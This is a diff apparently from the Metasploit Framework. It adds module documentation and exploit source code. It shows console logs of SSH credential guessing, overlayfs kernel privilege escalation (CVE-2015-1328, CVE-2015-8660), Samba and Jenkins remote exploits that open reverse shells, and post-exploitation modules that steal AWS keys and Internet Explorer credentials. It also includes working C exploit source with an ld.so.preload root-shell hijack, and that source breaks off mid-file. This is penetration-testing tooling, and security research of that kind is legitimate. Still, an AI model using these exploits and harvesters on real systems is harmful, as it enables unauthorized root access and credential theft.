auxiliary/scanner/ssh/ssh_login + resource (/root/Text-1.txt)> set rhosts 192.168.2.156 + rhosts => 192.168.2.156 + resource (/root/Text-1.txt)> set username ubuntu + username => ubuntu + resource (/root/Text-1.txt)> set password ubuntu + password => ubuntu + resource (/root/Text-1.txt)> exploit + [*] SSH - Starting bruteforce + [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +#### Escalate + + resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc + resource (/root/Text-1.txt)> set verbose true + verbose => true + resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp + payload => linux/x86/shell/reverse_tcp + resource (/root/Text-1.txt)> set session 1 + session => 1 + resource (/root/Text-1.txt)> set target 1 + target => 1 + resource (/root/Text-1.txt)> set lhost 192.168.2.117 + lhost => 192.168.2.117 + resource (/root/Text-1.txt)> exploit + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Checking if mount points exist + [+] /tmp/haxhax not created + [+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660 + [+] gcc is installed + [*] Live compiling exploit on system + [*] Checking if mount points exist + [+] /tmp/haxhax not created + [+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660 + [*] Writing to /tmp/svF1U2Ya.c (2356 bytes) + [*] Max line length is 65537 + [*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf + [*] Compiling /tmp/svF1U2Ya.c + [*] Writing to /tmp/fHCJO1ex (155 bytes) + [*] Max line length is 65537 + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf + [*] Exploiting... + [*] Sending stage (36 bytes) to 192.168.2.156 + [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400 + [+] Deleted /tmp/svF1U2Ya.c + [+] Deleted /tmp/fHCJO1ex + + 3986817421 + viRVXKxRruOuDKwEBYAscFvJPPrtQbTO + true + zxrnfClHzgOcewXyEqQeEAcHsQmsEPtk + cqdStYFUGluqJkpgfGAkPvcVgoKTtJlY + EOzlAFTpQsoXMWIicFiKHxsVjjlFpspC + true + FgIyOJMyeREcjxpsbWkNDZNtuUGYmBtt + omnusQCOqEdrUTbMLtDmXibhFAVQuTAz + VPsVgFTxVwskShumsJkambKWMQhifDJi + whoami + root + uname -a + Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux + +### CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24 + +#### Initial Access + + resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login + resource (/root/Text-1.txt)> set rhosts 192.168.2.156 + rhosts => 192.168.2.156 + resource (/root/Text-1.txt)> set username ubuntu + username => ubuntu + resource (/root/Text-1.txt)> set password ubuntu + password => ubuntu + resource (/root/Text-1.txt)> exploit + [*] SSH - Starting bruteforce + [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +#### Escalate + + resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc + resource (overlay.rc)> set verbose true + verbose => true + resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp + payload => linux/x86/shell/reverse_tcp + resource (overlay.rc)> set target 0 + target => 0 + resource (overlay.rc)> set session 1 + session => 1 + resource (overlay.rc)> set lhost 192.168.2.117 + lhost => 192.168.2.117 + resource (overlay.rc)> exploit + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Checking if mount points exist + [+] /tmp/ns_sploit not created + [+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328 + [+] gcc is installed + [*] Live compiling exploit on system + [*] Checking if mount points exist + [+] /tmp/ns_sploit not created + [+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328 + [*] Writing to /tmp/JmK51Dpa.c (3714 bytes) + [*] Max line length is 65537 + [*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf + [*] Writing to /tmp/ofs-lib.c (439 bytes) + [*] Max line length is 65537 + [*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf + [*] Compiling /tmp/JmK51Dpa.c + [*] Writing to /tmp/R6TrMF7f (155 bytes) + [*] Max line length is 65537 + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf + [*] Exploiting... + [*] Sending stage (36 bytes) to 192.168.2.156 + [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400 + [!] Tried to delete /tmp/ofs-lib.c, unknown result + [+] Deleted /tmp/JmK51Dpa + + 2356964145 + psMfOJcKGKnafhAvALIeSFNegauafmux + RHxxKeTrEKLTMmssPTZjlJvkpblZjWSH + KWETRaFhNLLRkUbhRkRoflvdRdbJBPFP + true + ORoIgajQlzSvaciHEGqEvQZqLZMpJDjQ + dTdIcyWRpQOpEHizUhOQkDVqQZaxQIFR + UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF + sh: 0: can't access tty; job control turned off + # # # whoami + root + # uname -a + Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux diff --git a/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md b/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md new file mode 100644 index 0000000000..477e7f57c2 --- /dev/null +++ b/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md @@ -0,0 +1,91 @@ +## Vulnerable Application + + Samba 3.0.0 through 3.0.25rc3 are vulnerable to multiple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name(). + + The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24. + +## Verification Steps + + 1. Start msfconsole + 2. Do: `use exploit/linux/samba/lsa_transnames_heap` + 3. Do: `show targets` to see the possible targets + 4. Do: `set target #` + 5. Do: `set rhost` + 6. Do: `exploit` + +## MIPS port + + This module was ported to exploit the MIPS architecture. After creating a suitable debugging environment using qemu to emulate Samba on a desktop PC the following steps were required: + +### MIPS nop generator + + The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effect-less nops. At the end of the sled the true payload is added and execution will eventually hit this code. + + A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0` + +### Heap address brute force + + The exploit uses a brute force approach to minimize problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targeting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again. + + When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targeted a specific router, the heap layout was determined by examining the ranges identified in _/proc//maps_ + +## Scenarios + + msf > use exploit/linux/samba/lsa\_transnames_heap + msf exploit(lsa\_transnames_heap) > set target 7 + target => 7 + msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1 + rhost => 192.168.1.1 + msf exploit(lsa\_transnames_heap) > show options + + Module options (exploit/linux/samba/lsa\_transnames_heap): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOST 192.168.1.1 yes The target address + RPORT 445 yes The SMB service port + SMBPIPE LSARPC yes The pipe name to use + + + Exploit target: + + Id Name + -- ---- + 7 Linux Heap Brute Force (OpenWRT MIPS) + + + msf exploit(lsa\_transnames_heap) > exploit + + [*] Started reverse TCP handler on 192.168.1.3:4444 + [*] 192.168.1.1:445 - Creating nop sled.... + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000... + [*] 192.168.1.1:445 - Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] 192.168.1.1:445 - Server did not respond, this is expected + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x5590f000... + [*] 192.168.1.1:445 - Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] 192.168.1.1:445 - Server did not respond, this is expected + + ...Some intermediate attempts ommitted... + + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55996000... + [*] 192.168.1.1:445 - Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] 192.168.1.1:445 - Server did not respond, this is expected + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x559a5000... + [*] 192.168.1.1:445 - Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.1:4175) at 2016-10-31 14:00:33 +0000 + + uname -a + Linux WNR2200 2.6.15 #1 Mon Dec 23 15:58:24 CST 2013 mips unknown + diff --git a/documentation/modules/exploit/multi/http/jenkins_script_console.md b/documentation/modules/exploit/multi/http/jenkins_script_console.md new file mode 100644 index 0000000000..e09118e7d6 --- /dev/null +++ b/documentation/modules/exploit/multi/http/jenkins_script_console.md @@ -0,0 +1,130 @@ +## Vulnerable Application + + Jenkins can be downloaded from [jenkins.io](https://jenkins.io/) where + binaries are available for a variety of operating systems. Both LTS and weekly + builds are available. + + Default settings have the script console enabled and require a valid user + account in order to access it. A known account can be used with this module by + setting the `USERNAME` and `PASSWORD` options. + +## Verification Steps + + Example steps in this format: + + 1. Install the application + 1. Start msfconsole + 1. Do: ```use exploit/multi/http/jenkins_script_console``` + 1. Do: ```set RHOST [target host]``` + 1. Do: ```set TARGET [target id]``` + 1. Do: ```exploit``` + 1. You should get a shell. + +## Options + + **TARGETURI** + + The path to the target instance of Jenkins. + + **USERNAME** + + A username to an account that has access to the script console. This is only + necessary if the Jenkins instance has been configured to require + authentication. + + **PASSWORD** + + A password to an account that has access to the script console. This is only + necessary if the Jenkins instance has been configured to require + authentication. + +## Scenarios + + Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1. + + ``` + msf > use exploit/multi/http/jenkins_script_console + msf exploit(jenkins_script_console) > set TARGETURI / + TARGETURI => / + msf exploit(jenkins_script_console) > set USERNAME steiner + USERNAME => steiner + msf exploit(jenkins_script_console) > set PASSWORD I<3msf! + PASSWORD => I<3msf! + msf exploit(jenkins_script_console) > set RHOST 192.168.254.126 + RHOST => 192.168.254.126 + msf exploit(jenkins_script_console) > set RPORT 8080 + RPORT => 8080 + msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp + PAYLOAD => windows/meterpreter/reverse_tcp + msf exploit(jenkins_script_console) > set LHOST 192.168.254.132 + LHOST => 192.168.254.132 + msf exploit(jenkins_script_console) > exploit + + [*] [2016.10.29-18:43:07] Started reverse TCP handler on 192.168.254.132:4444 + [*] [2016.10.29-18:43:07] Checking access to the script console + [*] [2016.10.29-18:43:07] Logging in... + [*] [2016.10.29-18:43:07] Using CSRF token: '9623d245b9d60b5ceda72e2d3613431c' (Jenkins-Crumb style) + [*] [2016.10.29-18:43:07] 192.168.254.126:8080 - Sending command stager... + [*] [2016.10.29-18:43:08] Command Stager progress - 2.06% done (2048/99626 bytes) + [*] [2016.10.29-18:43:08] Command Stager progress - 4.11% done (4096/99626 bytes) + [*] [2016.10.29-18:43:08] Command Stager progress - 6.17% done (6144/99626 bytes) + [*] [2016.10.29-18:43:09] Command Stager progress - 8.22% done (8192/99626 bytes) + [*] [2016.10.29-18:43:09] Command Stager progress - 10.28% done (10240/99626 bytes) + [*] [2016.10.29-18:43:09] Command Stager progress - 12.33% done (12288/99626 bytes) + [*] [2016.10.29-18:43:10] Command Stager progress - 14.39% done (14336/99626 bytes) + [*] [2016.10.29-18:43:10] Command Stager progress - 16.45% done (16384/99626 bytes) + [*] [2016.10.29-18:43:10] Command Stager progress - 18.50% done (18432/99626 bytes) + [*] [2016.10.29-18:43:11] Command Stager progress - 20.56% done (20480/99626 bytes) + [*] [2016.10.29-18:43:11] Command Stager progress - 22.61% done (22528/99626 bytes) + [*] [2016.10.29-18:43:11] Command Stager progress - 24.67% done (24576/99626 bytes) + [*] [2016.10.29-18:43:12] Command Stager progress - 26.72% done (26624/99626 bytes) + [*] [2016.10.29-18:43:12] Command Stager progress - 28.78% done (28672/99626 bytes) + [*] [2016.10.29-18:43:12] Command Stager progress - 30.84% done (30720/99626 bytes) + [*] [2016.10.29-18:43:13] Command Stager progress - 32.89% done (32768/99626 bytes) + [*] [2016.10.29-18:43:13] Command Stager progress - 34.95% done (34816/99626 bytes) + [*] [2016.10.29-18:43:13] Command Stager progress - 37.00% done (36864/99626 bytes) + [*] [2016.10.29-18:43:14] Command Stager progress - 39.06% done (38912/99626 bytes) + [*] [2016.10.29-18:43:14] Command Stager progress - 41.11% done (40960/99626 bytes) + [*] [2016.10.29-18:43:14] Command Stager progress - 43.17% done (43008/99626 bytes) + [*] [2016.10.29-18:43:15] Command Stager progress - 45.23% done (45056/99626 bytes) + [*] [2016.10.29-18:43:15] Command Stager progress - 47.28% done (47104/99626 bytes) + [*] [2016.10.29-18:43:15] Command Stager progress - 49.34% done (49152/99626 bytes) + [*] [2016.10.29-18:43:16] Command Stager progress - 51.39% done (51200/99626 bytes) + [*] [2016.10.29-18:43:16] Command Stager progress - 53.45% done (53248/99626 bytes) + [*] [2016.10.29-18:43:17] Command Stager progress - 55.50% done (55296/99626 bytes) + [*] [2016.10.29-18:43:17] Command Stager progress - 57.56% done (57344/99626 bytes) + [*] [2016.10.29-18:43:17] Command Stager progress - 59.61% done (59392/99626 bytes) + [*] [2016.10.29-18:43:18] Command Stager progress - 61.67% done (61440/99626 bytes) + [*] [2016.10.29-18:43:18] Command Stager progress - 63.73% done (63488/99626 bytes) + [*] [2016.10.29-18:43:18] Command Stager progress - 65.78% done (65536/99626 bytes) + [*] [2016.10.29-18:43:19] Command Stager progress - 67.84% done (67584/99626 bytes) + [*] [2016.10.29-18:43:19] Command Stager progress - 69.89% done (69632/99626 bytes) + [*] [2016.10.29-18:43:19] Command Stager progress - 71.95% done (71680/99626 bytes) + [*] [2016.10.29-18:43:20] Command Stager progress - 74.00% done (73728/99626 bytes) + [*] [2016.10.29-18:43:20] Command Stager progress - 76.06% done (75776/99626 bytes) + [*] [2016.10.29-18:43:20] Command Stager progress - 78.12% done (77824/99626 bytes) + [*] [2016.10.29-18:43:21] Command Stager progress - 80.17% done (79872/99626 bytes) + [*] [2016.10.29-18:43:21] Command Stager progress - 82.23% done (81920/99626 bytes) + [*] [2016.10.29-18:43:21] Command Stager progress - 84.28% done (83968/99626 bytes) + [*] [2016.10.29-18:43:22] Command Stager progress - 86.34% done (86016/99626 bytes) + [*] [2016.10.29-18:43:22] Command Stager progress - 88.39% done (88064/99626 bytes) + [*] [2016.10.29-18:43:22] Command Stager progress - 90.45% done (90112/99626 bytes) + [*] [2016.10.29-18:43:23] Command Stager progress - 92.51% done (92160/99626 bytes) + [*] [2016.10.29-18:43:23] Command Stager progress - 94.56% done (94208/99626 bytes) + [*] [2016.10.29-18:43:23] Command Stager progress - 96.62% done (96256/99626 bytes) + [*] [2016.10.29-18:43:24] Command Stager progress - 98.67% done (98304/99626 bytes) + [*] [2016.10.29-18:43:24] Sending stage (957999 bytes) to 192.168.254.126 + [*] [2016.10.29-18:43:24] Command Stager progress - 100.00% done (99626/99626 bytes) + [*] Meterpreter session 1 opened (192.168.254.132:4444 -> 192.168.254.126:49258) at 2016-10-29 18:43:26 -0400 + + meterpreter > sysinfo + Computer : PWNME-PC + OS : Windows 7 (Build 7601, Service Pack 1). + Architecture : x64 (Current Process is WOW64) + System Language : en_US + Domain : WORKGROUP + Logged On Users : 2 + Meterpreter : x86/win32 + meterpreter > + + ``` diff --git a/documentation/modules/post/multi/gather/aws_keys.md b/documentation/modules/post/multi/gather/aws_keys.md new file mode 100644 index 0000000000..4ebcaf5c0b --- /dev/null +++ b/documentation/modules/post/multi/gather/aws_keys.md @@ -0,0 +1,56 @@ +## Vulnerable Application + + Any system with a `shell` or `meterpreter` session. + +## Verification Steps + + 1. Get a `shell` or `meterpreter` session on some host. + 2. Do: ```use post/multi/gather/aws_keys``` + 3. Do: ```set SESSION [SESSION_ID]```, replacing ```[SESSION_ID]``` with the session number you wish to run this one. + 4. Do: ```run``` + 5. If the system has readable configuration files containing AWS key material, they will be printed out. + +## Options + + None. + +## Scenarios + + ``` +msf post(aws_keys) > run + +[*] Enumerating possible user AWS config files +[*] Looking for AWS config/credentials files in /bin +[*] Looking for AWS config/credentials files in /dev +[*] Looking for AWS config/credentials files in /home/syslog +[*] Looking for AWS config/credentials files in /home/test +[*] Looking for AWS config/credentials files in /home/test ubuntu +[*] Looking for AWS config/credentials files in /home/ubuntu +[*] Looking for AWS config/credentials files in /nonexistent +[*] Looking for AWS config/credentials files in /root +[*] Looking for AWS config/credentials files in /usr/games +[*] Looking for AWS config/credentials files in /usr/sbin +[*] Looking for AWS config/credentials files in /var/backups +[*] Looking for AWS config/credentials files in /var/cache/man +[*] Looking for AWS config/credentials files in /var/cache/pollinate +[*] Looking for AWS config/credentials files in /var/lib/gnats +[*] Looking for AWS config/credentials files in /var/lib/landscape +[*] Looking for AWS config/credentials files in /var/lib/libuuid +[*] Looking for AWS config/credentials files in /var/list +[*] Looking for AWS config/credentials files in /var/mail +[*] Looking for AWS config/credentials files in /var/run/dbus +[*] Looking for AWS config/credentials files in /var/run/ircd +[*] Looking for AWS config/credentials files in /var/run/sshd +[*] Looking for AWS config/credentials files in /var/spool/lpd +[*] Looking for AWS config/credentials files in /var/spool/news +[*] Looking for AWS config/credentials files in /var/spool/uucp +[*] Looking for AWS config/credentials files in /var/www +AWS Key Data +============ + +Source AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY Profile +------ ----------------- --------------------- ------- +/home/test/.aws/credentials BAR PRIVATE_TEST test +/home/ubuntu/.aws/credentials ABC456 PRIVATE_TEST test +/root/.s3cfg root_key root_secret default +``` diff --git a/documentation/modules/post/windows/gather/enum_ie.md b/documentation/modules/post/windows/gather/enum_ie.md new file mode 100644 index 0000000000..16d0aa1af2 --- /dev/null +++ b/documentation/modules/post/windows/gather/enum_ie.md @@ -0,0 +1,106 @@ +## Vulnerable Application + + This post-exploitation module will extract saved user data from Internet Explorer. For IE versions of 7 and newer the module will try to extract and decrypt saved credentials as well. + +## Verification Steps + + 1. Start `msfconsole` + 2. Get meterpreter session + 3. Do: `use post/windows/gather/enum_ie` + 4. Do: `set SESSION ` + 5. Do: `run` + 6. You should be able to see the extracted IE browser data in the loot files + +## Options + + - **SESSION** - The session to run the module on. + +## Extracted data + + - History + - Cookies + - Autocomplete data + - Credentials **(only for >= IE7)** + - HTTP auth credentials + - Saved form credentials + +## Example Scenario + + **Using the module with an earlier version than IE7 (IE6)** + + In this scenario the module won't be able to extract credential data. + + ``` + msf exploit(handler) > use post/windows/gather/enum_ie + msf post(enum_ie) > set SESSION 1 + SESSION => 1 + msf post(enum_ie) > run + + [*] IE Version: 6.0.2900.5512 + [-] This module will only extract credentials for >= IE7 + [*] Retrieving history..... + File: C:\Documents and Settings\user\Local Settings\History\History.IE5\index.dat + [*] Retrieving cookies..... + File: C:\Documents and Settings\user\Cookies\index.dat + [*] Looping through history to find autocomplete data.... + [-] No autocomplete entries found in registry + [*] Looking in the Credential Store for HTTP Authentication Creds... + [*] Writing history to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.history_747359.txt + [*] Writing cookies to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.cookies_795069.txt + [*] Post module execution completed + ``` + + **Using the module with IE7+ (IE8)** + + In this scenario the module will try to extract credential data, display it in the console and save it in a loot file. + + ``` + msf exploit(handler) > use post/windows/gather/enum_ie + msf post(enum_ie) > set SESSION 1 + SESSION => 1 + msf post(enum_ie) > run + + [*] IE Version: 8.0.7601.17514 + [*] Retrieving history..... + File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat + File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat + [*] Retrieving cookies..... + File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\index.dat + File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.dat + [*] Looping through history to find autocomplete data.... + [*] Looking in the Credential Store for HTTP Authentication Creds... + [*] Writing history to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.history_555694.txt + [*] Writing cookies to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.cookies_216987.txt + [*] Writing gathered credentials to loot... + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.user.creds_355504.txt + + Credential data + =============== + + Type Url User Pass + ---- --- ---- ---- + Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd + Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd + + [*] Post module execution completed + ``` + + The extracted history data would in both scenarios for example look like this: + + ``` + History data + ============ + + Date Modified Date Accessed Url + ------------- ------------- --- + 2011-11-20T23:59:02+00:00 2011-11-20T23:59:02+00:00 about:Home + 2016-10-31T14:42:05+00:00 2016-10-31T14:42:05+00:00 http://go.microsoft.com/fwlink/?LinkId=54729&clcid=0x0407 + 2016-10-31T14:42:06+00:00 2016-10-31T14:42:06+00:00 http://de.msn.com/?ocid=iefvrt + 2016-10-31T14:42:08+00:00 2016-10-31T14:42:08+00:00 http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome + 2016-10-31T14:42:23+00:00 2016-10-31T14:42:23+00:00 http://www.msn.com/de-de?ocid=iefvrt + 2016-10-31T14:47:42+00:00 2016-10-31T14:47:42+00:00 file:///E:/text.txt + ``` diff --git a/external/source/exploits/CVE-2015-1328/1328.c b/external/source/exploits/CVE-2015-1328/1328.c new file mode 100644 index 0000000000..965900ee17 --- /dev/null +++ b/external/source/exploits/CVE-2015-1328/1328.c @@ -0,0 +1,113 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" + +static char child_stack[1024*1024]; + +static int +child_exec(void *stuff) +{ + char *file; + system("rm -rf /tmp/ns_sploit"); + mkdir("/tmp/ns_sploit", 0777); + mkdir("/tmp/ns_sploit/work", 0777); + mkdir("/tmp/ns_sploit/upper",0777); + mkdir("/tmp/ns_sploit/o",0777); + + fprintf(stderr,"mount #1\n"); + if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { +// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower + if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { + fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); + exit(-1); + } + file = ".access"; + chmod("/tmp/ns_sploit/work/work",0777); + } else file = "ns_last_pid"; + + chdir("/tmp/ns_sploit/o"); + rename(file,"ld.so.preload"); + + chdir("/"); + umount("/tmp/ns_sploit/o"); + fprintf(stderr,"mount #2\n"); + if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { + if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { + exit(-1); + } + chmod("/tmp/ns_sploit/work/work",0777); + } + + chmod("/tmp/ns_sploit/o/ld.so.preload",0777); + umount("/tmp/ns_sploit/o"); +} + +int +main(int argc, char **argv) +{ + int status, fd, lib; + pid_t wrapper, init; + int clone_flags = CLONE_NEWNS | SIGCHLD; + + fprintf(stderr,"spawning threads\n"); + + if((wrapper = fork()) == 0) { + if(unshare(CLONE_NEWUSER) != 0) + fprintf(stderr, "failed to create new user namespace\n"); + + if((init = fork()) == 0) { + pid_t pid = + clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); + if(pid < 0) { + fprintf(stderr, "failed to create new mount namespace\n"); + exit(-1); + } + + waitpid(pid, &status, 0); + + } + + waitpid(init, &status, 0); + return 0; + } + + usleep(300000); + + wait(NULL); + + fprintf(stderr,"child threads done\n"); + + fd = open("/etc/ld.so.preload",O_WRONLY); + + if(fd == -1) { + fprintf(stderr,"exploit failed\n"); + exit(-1); + } + + fprintf(stderr,"/etc/ld.so.preload created\n"); + /* + fprintf(stderr,"creating shared library\n"); + lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); + write(lib,LIB,strlen(LIB)); + close(lib); + lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); + if(lib != 0) { + fprintf(stderr,"couldn't create dynamic library\n"); + exit(-1); + }*/ + write(fd,"/tmp/ofs-lib.so\n",16); + close(fd); + system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); + execl("/bin/su","su",NULL); +} + diff --git a/external/source/exploits/CVE-2015-1328/ofs-lib.c b/external/source/exploits/CVE-2015-1328/ofs-lib.c new file mode 100644 index 0000000000..0f96c54371 --- /dev/null +++ b/external/source/exploits/CVE-2015-1328/ofs-lib.c @@ -0,0 +1,16 @@ +#include + +uid_t(*_real_getuid) (void); +char path[128]; + +uid_t getuid(void){ + _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid"); + readlink("/proc/self/exe", (char *) &path, 128); + if(geteuid() == 0 && !strcmp(path, "/bin/su")) { + unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so"); + setresuid(0, 0, 0); + setresgid(0, 0, 0); + execle("/bin/sh", "sh", "-i", NULL, NULL); + } + return _real_getuid(); +} diff --git a/external/source/exploits/CVE-2015-8660/8660.c b/external/source/exploits/CVE-2015-8660/8660.c new file mode 100644 index 0000000000..432368a108 --- /dev/null +++ b/external/source/exploits/CVE-2015-8660/8660.c @@ -0,0 +1,78 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static char child_stack[1024*1024]; + +static int +child_exec(void *stuff) +{ + system("rm -rf /tmp/haxhax"); + mkdir("/tmp/haxhax", 0777); + mkdir("/tmp/haxhax/w", 0777); + mkdir("/tmp/haxhax/u",0777); + mkdir("/tmp/haxhax/o",0777); + + if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) { + fprintf(stderr,"mount failed..\n"); + } + + chmod("/tmp/haxhax/w/work",0777); + 